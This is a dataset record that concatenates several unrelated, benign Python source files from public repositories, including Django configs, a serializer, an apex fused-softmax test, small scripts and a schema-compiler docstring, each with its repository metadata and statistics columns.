73efb57dfbfb735e435f281502570ec0f8abe221
| 175
|
py
|
Python
|
main/request.py
|
mohitksharma/Zomato-Data-Analysis
|
3e1ab7ca919877b719e5806734ede80093207d67
|
[
"MIT"
] | 2
|
2020-07-03T15:31:04.000Z
|
2020-07-04T15:41:59.000Z
|
main/request.py
|
mohitksharma/Zomato-Data-Analysis
|
3e1ab7ca919877b719e5806734ede80093207d67
|
[
"MIT"
] | null | null | null |
main/request.py
|
mohitksharma/Zomato-Data-Analysis
|
3e1ab7ca919877b719e5806734ede80093207d67
|
[
"MIT"
] | null | null | null |
# import requests
# url = 'http://localhost:5000/results'
# r = requests.post(url,json={'rate':5, 'sales_in_first_month':200, 'sales_in_second_month':400})
# print(r.json())
| 29.166667
| 97
| 0.702857
| 27
| 175
| 4.333333
| 0.740741
| 0.119658
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.069182
| 0.091429
| 175
| 6
| 98
| 29.166667
| 0.666667
| 0.942857
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
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| null | 0
| 0
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| 0
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| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
fb475de0a31c6313be45d4907540ce0c44de12e7
| 135
|
py
|
Python
|
vpn_manage/apps.py
|
wxmgcs/devops
|
7b0daf6121139c8bec80ec58c119d04d8aeadfe8
|
[
"MIT"
] | 3
|
2019-05-06T06:44:43.000Z
|
2020-06-10T00:54:43.000Z
|
vpn_manage/apps.py
|
wxmgcs/devops
|
7b0daf6121139c8bec80ec58c119d04d8aeadfe8
|
[
"MIT"
] | 1
|
2017-07-11T11:36:54.000Z
|
2017-07-11T11:42:23.000Z
|
vpn_manage/apps.py
|
wxmgcs/devops
|
7b0daf6121139c8bec80ec58c119d04d8aeadfe8
|
[
"MIT"
] | null | null | null |
from __future__ import unicode_literals
from django.apps import AppConfig
class VpnManageConfig(AppConfig):
name = 'vpn_manage'
| 16.875
| 39
| 0.8
| 16
| 135
| 6.375
| 0.8125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 135
| 7
| 40
| 19.285714
| 0.886957
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 0
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| 0
| 0
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| 0
| 1
| 0
| false
| 0
| 0.5
| 0
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| 1
| 0
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| null | 0
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| 0
| 0
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| 0
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| 1
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| 0
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| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
fb522f24be3e0e183da1b97aee75607afe56b2ae
| 111
|
py
|
Python
|
Python OOP/Exams/22 Aug 2020/1, 2/project/appliances/laptop.py
|
a-shiro/SoftUni-Courses
|
7d0ca6401017a28b5ff7e7fa3e5df8bba8ddbe77
|
[
"MIT"
] | null | null | null |
Python OOP/Exams/22 Aug 2020/1, 2/project/appliances/laptop.py
|
a-shiro/SoftUni-Courses
|
7d0ca6401017a28b5ff7e7fa3e5df8bba8ddbe77
|
[
"MIT"
] | null | null | null |
Python OOP/Exams/22 Aug 2020/1, 2/project/appliances/laptop.py
|
a-shiro/SoftUni-Courses
|
7d0ca6401017a28b5ff7e7fa3e5df8bba8ddbe77
|
[
"MIT"
] | null | null | null |
from project import Appliance
class Laptop(Appliance):
def __init__(self):
super().__init__(1)
| 12.333333
| 29
| 0.675676
| 13
| 111
| 5.153846
| 0.846154
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011628
| 0.225225
| 111
| 8
| 30
| 13.875
| 0.767442
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
fb611a564ed28e0b71852891d8b633415b52fb5a
| 258
|
py
|
Python
|
accounts/serializers.py
|
EmmS21/peerprogrammingplatform
|
a34b1aef20892cd88f0e745dba55db19beac8707
|
[
"MIT"
] | null | null | null |
accounts/serializers.py
|
EmmS21/peerprogrammingplatform
|
a34b1aef20892cd88f0e745dba55db19beac8707
|
[
"MIT"
] | null | null | null |
accounts/serializers.py
|
EmmS21/peerprogrammingplatform
|
a34b1aef20892cd88f0e745dba55db19beac8707
|
[
"MIT"
] | null | null | null |
from rest_framework import serializers
from .models import Profile
class ProfileSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Profile
fields = ('user_id', 'fullname', 'location', 'email', 'signup_confirmation')
| 32.25
| 84
| 0.74031
| 25
| 258
| 7.52
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0.166667
| 258
| 7
| 85
| 36.857143
| 0.874419
| 0
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| 0
| 0.182171
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
fb6a9c55375bc16224891b8bd023609513b7a4a9
| 7,561
|
py
|
Python
|
tests/L0/run_transformer/test_fused_softmax.py
|
Muflhi01/apex
|
79c018776129aad13abeb4ce63d24e1fbb4cd29e
|
[
"BSD-3-Clause"
] | 6,523
|
2018-04-25T17:35:27.000Z
|
2022-03-31T22:49:45.000Z
|
tests/L0/run_transformer/test_fused_softmax.py
|
Muflhi01/apex
|
79c018776129aad13abeb4ce63d24e1fbb4cd29e
|
[
"BSD-3-Clause"
] | 1,100
|
2018-05-18T00:03:34.000Z
|
2022-03-30T22:00:33.000Z
|
tests/L0/run_transformer/test_fused_softmax.py
|
Muflhi01/apex
|
79c018776129aad13abeb4ce63d24e1fbb4cd29e
|
[
"BSD-3-Clause"
] | 1,057
|
2018-05-07T13:53:04.000Z
|
2022-03-31T09:18:47.000Z
|
"""Test for fused softmax functions.
Ref: https://github.com/NVIDIA/Megatron-LM/blob/40becfc96c4144985458ac0e0fae45dbb111fbd2/megatron/fused_kernels/tests/test_fused_kernels.py
""" # NOQA
import itertools
import unittest
import torch
from apex.transformer import AttnMaskType
from apex.transformer.functional import FusedScaleMaskSoftmax
def attention_mask_func(attention_scores, attention_mask):
return attention_scores.masked_fill(attention_mask, -10000.0)
autocast_dtypes = (torch.half, torch.bfloat16) if torch.cuda.is_bf16_supported() else (torch.half,)
class TestFusedScaleMaskSoftmax(unittest.TestCase):
def _setup_fused_softmax(self, input_in_fp16, input_in_bf16, scale=None, softmax_in_fp32=False, attn_mask_type=AttnMaskType.padding):
fused_fn = FusedScaleMaskSoftmax(
input_in_fp16=input_in_fp16,
input_in_bf16=input_in_bf16,
mask_func=attention_mask_func,
scale=scale,
softmax_in_fp32=softmax_in_fp32,
attn_mask_type=attn_mask_type,
scaled_masked_softmax_fusion=True,
)
torch_fn = FusedScaleMaskSoftmax(
input_in_fp16=input_in_fp16,
input_in_bf16=input_in_bf16,
mask_func=attention_mask_func,
scale=scale,
softmax_in_fp32=softmax_in_fp32,
attn_mask_type=attn_mask_type,
scaled_masked_softmax_fusion=False,
)
return fused_fn, torch_fn
def test_fused_scale_mask_softmax(self):
"""
attention_scores.shape = [4, 12, 24, 24]
mask.shape = [4, 1, 24, 24]
"""
for (dtype, scale, softmax_in_fp32) in itertools.product(
(torch.half, torch.bfloat16),
(None, 2.0),
(False, True),
):
with self.subTest(f"{dtype}-{scale}-{softmax_in_fp32}"):
input_in_fp16 = dtype == torch.half
input_in_bf16 = dtype == torch.bfloat16
if not (scale is None or softmax_in_fp32):
with self.assertRaises(RuntimeError):
self._setup_fused_softmax(input_in_fp16, input_in_bf16, scale, softmax_in_fp32, AttnMaskType.padding)
return
fused_fn, torch_fn = self._setup_fused_softmax(input_in_fp16, input_in_bf16, scale, softmax_in_fp32, AttnMaskType.padding)
attention_scores_0 = torch.randn((4, 12, 24, 24)).to(device="cuda", dtype=dtype).requires_grad_(True)
with torch.no_grad():
attention_scores_1 = attention_scores_0.clone().requires_grad_(True)
mask = torch.randint(0, 2, (4, 1, 24, 24), device="cuda").bool()
expected = fused_fn(attention_scores_0, mask)
actual = torch_fn(attention_scores_1, mask)
torch.testing.assert_allclose(actual, expected)
g0 = torch.rand_like(actual)
with torch.no_grad():
g1 = g0.clone()
expected.backward(g0)
actual.backward(g1)
def test_autocast_fused_scale_mask_softmax(self):
for dtype in autocast_dtypes:
with self.subTest(f"{dtype}"):
input_in_fp16 = dtype == torch.half
input_in_bf16 = dtype == torch.bfloat16
fused_fn, torch_fn = self._setup_fused_softmax(
input_in_fp16, input_in_bf16, attn_mask_type=AttnMaskType.padding)
attention_scores_0 = torch.randn((4, 12, 24, 24)).cuda().requires_grad_(True)
with torch.no_grad():
attention_scores_1 = attention_scores_0.clone().to(dtype).requires_grad_(True)
mask = torch.randint(0, 2, (4, 1, 24, 24)).bool().cuda()
expected = torch_fn(attention_scores_1, mask)
with torch.cuda.amp.autocast(dtype=dtype):
actual = fused_fn(attention_scores_0, mask)
self.assertEqual(actual.dtype, dtype)
torch.testing.assert_allclose(actual, expected)
g0 = torch.rand_like(actual)
with torch.no_grad():
g1 = g0.clone()
expected.backward(g0)
actual.backward(g1)
def test_fused_upper_triangle_mask_softmax(self):
"""
attn_weights.shape: [4, 12, 24, 24]
total_mask.shape: [4, 1, 24, 24]
total_mask[0, 0], a 24x24 matrix is like a lower triangular matrix, but
upper elements are True and lower elements and diagonal are False.
"""
for (dtype, scale, softmax_in_fp32) in itertools.product(
(torch.half, torch.bfloat16),
(None, 2.0),
(False, True),
):
with self.subTest(f"{dtype}-{scale}-{softmax_in_fp32}"):
input_in_fp16 = dtype == torch.half
input_in_bf16 = dtype == torch.bfloat16
if not (scale is None or softmax_in_fp32):
with self.assertRaises(RuntimeError):
self._setup_fused_softmax(
input_in_fp16, input_in_bf16, scale, softmax_in_fp32, AttnMaskType.causal)
return
fused_fn, torch_fn = self._setup_fused_softmax(
input_in_fp16, input_in_bf16, scale, softmax_in_fp32, AttnMaskType.causal)
attn_weights_0 = torch.randn((4, 12, 24, 24)).to(device="cuda", dtype=dtype).requires_grad_(True)
with torch.no_grad():
attn_weights_1 = attn_weights_0.clone().requires_grad_(True)
total_mask = (~(
torch.tril(torch.randn((24, 24), device="cuda")).bool()
).unsqueeze(0).unsqueeze(0))
total_mask = total_mask.repeat((4, 1, 1, 1))
expected = fused_fn(attn_weights_0, total_mask)
actual = torch_fn(attn_weights_1, total_mask)
torch.testing.assert_allclose(actual, expected)
g0 = torch.randn_like(actual)
with torch.no_grad():
g1 = g0.clone()
actual.backward(g0)
expected.backward(g1)
def test_autocast_fused_upper_triangle_mask_softmax(self):
for dtype in autocast_dtypes:
with self.subTest(f"{dtype}"):
input_in_fp16 = dtype == torch.half
input_in_bf16 = dtype == torch.bfloat16
fused_fn, torch_fn = self._setup_fused_softmax(
input_in_fp16, input_in_bf16, attn_mask_type=AttnMaskType.causal)
attn_weights_0 = torch.randn((4, 12, 24, 24)).cuda().requires_grad_(True)
with torch.no_grad():
attn_weights_1 = attn_weights_0.clone().to(dtype).requires_grad_(True)
total_mask = (~(
torch.tril(torch.randn((24, 24), device="cuda")).bool()
).unsqueeze(0).unsqueeze(0))
with torch.cuda.amp.autocast(dtype=dtype):
actual = fused_fn(attn_weights_0, total_mask)
self.assertEqual(actual.dtype, dtype)
expected = torch_fn(attn_weights_1, total_mask)
torch.testing.assert_allclose(actual, expected)
g0 = torch.randn_like(actual)
with torch.no_grad():
g1 = g0.clone()
actual.backward(g0)
expected.backward(g1)
| 44.739645
| 139
| 0.589869
| 887
| 7,561
| 4.717024
| 0.136415
| 0.050191
| 0.039436
| 0.042065
| 0.809751
| 0.78131
| 0.717256
| 0.695746
| 0.695746
| 0.69479
| 0
| 0.052134
| 0.315038
| 7,561
| 168
| 140
| 45.005952
| 0.755744
| 0.060574
| 0
| 0.653846
| 0
| 0
| 0.014249
| 0.009404
| 0
| 0
| 0
| 0
| 0.061538
| 1
| 0.046154
| false
| 0
| 0.038462
| 0.007692
| 0.123077
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
fbb68d114b6bbb343272855a58e8a98c077025bf
| 237
|
py
|
Python
|
tests/testsite/turtles/models.py
|
thread/django-devdata
|
da8933c861d82c1e4a2d887b61141e7b204367ce
|
[
"MIT"
] | 7
|
2021-05-12T09:22:14.000Z
|
2022-01-17T15:22:26.000Z
|
tests/testsite/turtles/models.py
|
thread/django-devdata
|
da8933c861d82c1e4a2d887b61141e7b204367ce
|
[
"MIT"
] | 4
|
2021-06-10T11:12:24.000Z
|
2021-09-08T18:22:24.000Z
|
tests/testsite/turtles/models.py
|
thread/django-devdata
|
da8933c861d82c1e4a2d887b61141e7b204367ce
|
[
"MIT"
] | 2
|
2021-06-21T17:35:21.000Z
|
2022-03-09T15:44:21.000Z
|
from django.db import models
class Turtle(models.Model):
standing_on = models.ForeignKey("self", on_delete=models.PROTECT, null=True)
class World(models.Model):
riding_on = models.ForeignKey(Turtle, on_delete=models.PROTECT)
| 23.7
| 80
| 0.763713
| 33
| 237
| 5.363636
| 0.545455
| 0.124294
| 0.20339
| 0.237288
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122363
| 237
| 9
| 81
| 26.333333
| 0.850962
| 0
| 0
| 0
| 0
| 0
| 0.016878
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
836b719d81c847b9169aff4a1feb5ebc0bda7607
| 124
|
py
|
Python
|
Operadores Condicionais idade 4.py
|
AlexandreCMoraes/exercicios-python
|
c42c41d829291eefa63e5616539ac9b8d5062bd7
|
[
"MIT"
] | null | null | null |
Operadores Condicionais idade 4.py
|
AlexandreCMoraes/exercicios-python
|
c42c41d829291eefa63e5616539ac9b8d5062bd7
|
[
"MIT"
] | null | null | null |
Operadores Condicionais idade 4.py
|
AlexandreCMoraes/exercicios-python
|
c42c41d829291eefa63e5616539ac9b8d5062bd7
|
[
"MIT"
] | null | null | null |
idade = 20
if idade >=18:
print("maior de idade")
elif idade < 18:
print("menor de idade")
else:
print("valor inválido ")
| 17.714286
| 25
| 0.669355
| 20
| 124
| 4.15
| 0.6
| 0.168675
| 0.289157
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.058824
| 0.177419
| 124
| 7
| 25
| 17.714286
| 0.754902
| 0
| 0
| 0
| 0
| 0
| 0.344
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
8370860bebc6b81457ef8fbc39062f5cca9c072e
| 145
|
py
|
Python
|
octant/python-gsw/gsw/gibbs/geostrophic.py
|
kthyng/octant
|
65591d87797fa74e0c092d5f50fb0cd703eb412e
|
[
"BSD-3-Clause"
] | null | null | null |
octant/python-gsw/gsw/gibbs/geostrophic.py
|
kthyng/octant
|
65591d87797fa74e0c092d5f50fb0cd703eb412e
|
[
"BSD-3-Clause"
] | null | null | null |
octant/python-gsw/gsw/gibbs/geostrophic.py
|
kthyng/octant
|
65591d87797fa74e0c092d5f50fb0cd703eb412e
|
[
"BSD-3-Clause"
] | 1
|
2019-05-03T22:14:19.000Z
|
2019-05-03T22:14:19.000Z
|
# -*- coding: utf-8 -*-
from __future__ import division
import numpy as np
__all__ = [
#'geostrophic_velocity ' TODO
]
| 14.5
| 41
| 0.57931
| 15
| 145
| 5
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010101
| 0.317241
| 145
| 9
| 42
| 16.111111
| 0.747475
| 0.344828
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
837a0a0500eed55fe86b2daa67a431f11f567af3
| 25
|
py
|
Python
|
eventsourcing/__init__.py
|
Antevenio/eventsourcing
|
f394cc384bd3ab64ba07ff083fc0756c646f1d9a
|
[
"BSD-3-Clause"
] | 972
|
2015-09-16T02:03:44.000Z
|
2021-10-13T15:10:38.000Z
|
eventsourcing/__init__.py
|
Antevenio/eventsourcing
|
f394cc384bd3ab64ba07ff083fc0756c646f1d9a
|
[
"BSD-3-Clause"
] | 207
|
2015-10-13T15:46:29.000Z
|
2021-10-08T07:23:40.000Z
|
eventsourcing/__init__.py
|
Antevenio/eventsourcing
|
f394cc384bd3ab64ba07ff083fc0756c646f1d9a
|
[
"BSD-3-Clause"
] | 117
|
2015-10-13T13:24:56.000Z
|
2021-10-12T07:19:47.000Z
|
__version__ = "9.2.0dev"
| 12.5
| 24
| 0.68
| 4
| 25
| 3.25
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136364
| 0.12
| 25
| 1
| 25
| 25
| 0.454545
| 0
| 0
| 0
| 0
| 0
| 0.32
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
838064bc493bde9609042ef527628d277114a46f
| 353
|
py
|
Python
|
j2cli/util.py
|
chaudum/j2y
|
45a22c733a9fe4ed2a13ecf38ef9f7a2dc5033e4
|
[
"Apache-2.0"
] | 2
|
2018-10-30T13:47:11.000Z
|
2020-03-18T10:39:39.000Z
|
j2cli/util.py
|
chaudum/j2y
|
45a22c733a9fe4ed2a13ecf38ef9f7a2dc5033e4
|
[
"Apache-2.0"
] | 3
|
2018-10-25T08:37:01.000Z
|
2020-11-03T12:22:15.000Z
|
j2cli/util.py
|
chaudum/j2y
|
45a22c733a9fe4ed2a13ecf38ef9f7a2dc5033e4
|
[
"Apache-2.0"
] | null | null | null |
import sys
import shutil
import functools
from typing import Dict, List, Tuple, cast
print_stderr = functools.partial(print, file=sys.stderr)
def parse_extra(extra: List[str]) -> Dict[str, str]:
return dict(cast(Tuple[str, str], x.split("=", 1)) for x in extra)
def tty_size() -> Tuple[int, int]:
return shutil.get_terminal_size((20, 1))
| 20.764706
| 70
| 0.70255
| 56
| 353
| 4.339286
| 0.535714
| 0.049383
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013423
| 0.155807
| 353
| 16
| 71
| 22.0625
| 0.802013
| 0
| 0
| 0
| 0
| 0
| 0.002833
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.222222
| false
| 0
| 0.444444
| 0.222222
| 0.888889
| 0.111111
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
83b636eb3c83ccfd5060476fba52a7563b147cd9
| 2,737
|
py
|
Python
|
jumpscale/tools/schemac/__init__.py
|
zaibon/js-ng
|
8b63c04757d1432ed4aa588500a113610701de14
|
[
"Apache-2.0"
] | 2
|
2021-04-28T10:46:08.000Z
|
2021-12-22T12:33:34.000Z
|
jumpscale/tools/schemac/__init__.py
|
zaibon/js-ng
|
8b63c04757d1432ed4aa588500a113610701de14
|
[
"Apache-2.0"
] | 321
|
2020-06-15T11:48:21.000Z
|
2022-03-29T22:13:33.000Z
|
jumpscale/tools/schemac/__init__.py
|
zaibon/js-ng
|
8b63c04757d1432ed4aa588500a113610701de14
|
[
"Apache-2.0"
] | 4
|
2020-06-18T06:19:29.000Z
|
2021-07-14T12:54:47.000Z
|
'''
# schemac
Schemac is a tool used to convert (transpile) the schemas defined in jsx systems into the new objects definitions in js-ng
## Example
In this example there're bunch of types (bools, int, string, dict, time, date, enumerations, objects, list of objects, email) defined in jsx old style.
### jsx schema
```python
schema = """
@url = despiegk.test
listany = (LO)
llist2 = "" (LS) #L means = list, S=String
llist3 = [1,2,3] (LF)
today = (D)
now = (T)
info = (dict)
theemail = (email)
status = "on,off" (E)
happy = "yes, no" (E)
&nr = 4
obj = (O)!hamada.test
lobjs = (LO) !hamada.test
date_start = 0 (I)
description* = "hello world"
description2 ** = 'a string' (S)
llist4*** = [1,2,3] (LI)
llist5 = [1,2,3] (LI)
llist6 = [1,2,3] (LI)
U = 0.0
nrdefault = 0
nrdefault2 = (I)
nrdefault3 = 0 (I)
@url = hamada.test
a = (I)
name = (S)
mood = "stressed,sleeping" (E)
"""
```
### Converting to the new system
We expect that to expand or convert to plain old python classes, with dependency resolution.
```python
c = j.tools.schemac.get_compiler(schema, "python")
assert c
assert c._schema_text
assert c.lang == "python"
assert c.generator
parsed_schemas = c.parse() # parse schema now
generated_python =c.generator.generate(parsed_schemas)
print(generated_python)
```
### Generated file
```python
#GENERATED CLASS DONT EDIT
from jumpscale.core.base import Base, fields
from enum import Enum
class Status(Enum):
On = 0
Off = 1
class Happy(Enum):
Yes = 0
No = 1
class Mood(Enum):
Stressed = 0
Sleeping = 1
class HamadaTest(Base):
a = fields.Integer()
name = fields.String(default="")
mood = fields.Enum(Mood)
class DespiegkTest(Base):
listany = fields.List(fields.Object(Base))
llist2 = fields.List(fields.String())
llist3 = fields.List(fields.Float())
today = fields.DateTime()
now = fields.Time()
info = fields.Typed(dict)
theemail = fields.Email()
status = fields.Enum(Status)
happy = fields.Enum(Happy)
nr = fields.String(default="4")
obj = fields.Object(HamadaTest)
lobjs = fields.List(fields.Object(HamadaTest))
date_start = fields.Integer(default=0)
description = fields.String(default="hello world")
description2 = fields.String(default="a string")
llist4 = fields.List(fields.Integer())
llist5 = fields.List(fields.Integer())
llist6 = fields.List(fields.Integer())
U = fields.String(default="0.0")
nrdefault = fields.String(default="0")
nrdefault2 = fields.Integer()
nrdefault3 = fields.Integer(default=0)
```
'''
def get_compiler(schema_text, lang="python"):
from .compiler import Compiler
return Compiler(lang, schema_text)
| 22.252033
| 151
| 0.660212
| 378
| 2,737
| 4.748677
| 0.37037
| 0.050696
| 0.062396
| 0.008357
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020966
| 0.198392
| 2,737
| 122
| 152
| 22.434426
| 0.797174
| 0.952137
| 0
| 0
| 0
| 0
| 0.04878
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
83d1f41ce84fdb8ca3082e12ece950dcc4841dc9
| 106
|
py
|
Python
|
week1-2/cc_staircase_loop.py
|
jaycvilla/nucamppython_fundamentals
|
a53533e4459a10ff5fbc8e6b4c066412278cd7c1
|
[
"MIT"
] | null | null | null |
week1-2/cc_staircase_loop.py
|
jaycvilla/nucamppython_fundamentals
|
a53533e4459a10ff5fbc8e6b4c066412278cd7c1
|
[
"MIT"
] | null | null | null |
week1-2/cc_staircase_loop.py
|
jaycvilla/nucamppython_fundamentals
|
a53533e4459a10ff5fbc8e6b4c066412278cd7c1
|
[
"MIT"
] | null | null | null |
stars = ""
for i in range(0, 5, 1):
for j in range(0, i, 1):
stars += "*"
print(stars)
| 21.2
| 29
| 0.45283
| 18
| 106
| 2.666667
| 0.555556
| 0.291667
| 0.333333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.073529
| 0.358491
| 106
| 5
| 30
| 21.2
| 0.632353
| 0
| 0
| 0
| 0
| 0
| 0.009709
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
83d41d8db8b039e798f73716fb479ef9ebae8131
| 125
|
py
|
Python
|
tethys_wps/apps.py
|
CI-WATER/tethys_wps
|
af3d4dee0f4e015f406c658ed87490b0f4285fdd
|
[
"BSD-2-Clause"
] | 1
|
2017-03-30T13:58:23.000Z
|
2017-03-30T13:58:23.000Z
|
tethys_wps/apps.py
|
CI-WATER/tethys_wps
|
af3d4dee0f4e015f406c658ed87490b0f4285fdd
|
[
"BSD-2-Clause"
] | null | null | null |
tethys_wps/apps.py
|
CI-WATER/tethys_wps
|
af3d4dee0f4e015f406c658ed87490b0f4285fdd
|
[
"BSD-2-Clause"
] | null | null | null |
from django.apps import AppConfig
class TethysWpsConfig(AppConfig):
name = 'tethys_wps'
verbose_name = 'Tethys WPS'
| 20.833333
| 33
| 0.744
| 15
| 125
| 6.066667
| 0.733333
| 0.21978
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.176
| 125
| 6
| 34
| 20.833333
| 0.883495
| 0
| 0
| 0
| 0
| 0
| 0.15873
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f7bdf0a8abcf57eda86cc99f81ba7edbb16f3ccc
| 148
|
py
|
Python
|
seed/middlewares/__init__.py
|
h4wldev/seed
|
2febcb39edb6086128022e40d8734b0e3f93ebb1
|
[
"MIT"
] | 3
|
2020-12-24T12:01:13.000Z
|
2021-06-01T06:23:41.000Z
|
seed/middlewares/__init__.py
|
h4wldev/seed
|
2febcb39edb6086128022e40d8734b0e3f93ebb1
|
[
"MIT"
] | null | null | null |
seed/middlewares/__init__.py
|
h4wldev/seed
|
2febcb39edb6086128022e40d8734b0e3f93ebb1
|
[
"MIT"
] | null | null | null |
from typing import List
from .server_error import ServerErrorMiddleware
__all__: List[str] = [
'ServerErrorMiddleware'
] # pragma: no cover
| 16.444444
| 47
| 0.75
| 16
| 148
| 6.625
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175676
| 148
| 8
| 48
| 18.5
| 0.868852
| 0.108108
| 0
| 0
| 0
| 0
| 0.161538
| 0.161538
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f7c9ba653a4606f06e5779206e8b76799685461d
| 4,596
|
py
|
Python
|
CTM.py
|
tilmanbeck/contextualized-topic-models
|
53d3dc262dc2370a9d9052f798565833f2472320
|
[
"MIT"
] | null | null | null |
CTM.py
|
tilmanbeck/contextualized-topic-models
|
53d3dc262dc2370a9d9052f798565833f2472320
|
[
"MIT"
] | null | null | null |
CTM.py
|
tilmanbeck/contextualized-topic-models
|
53d3dc262dc2370a9d9052f798565833f2472320
|
[
"MIT"
] | null | null | null |
from contextualized_topic_models.models.ctm import CTM
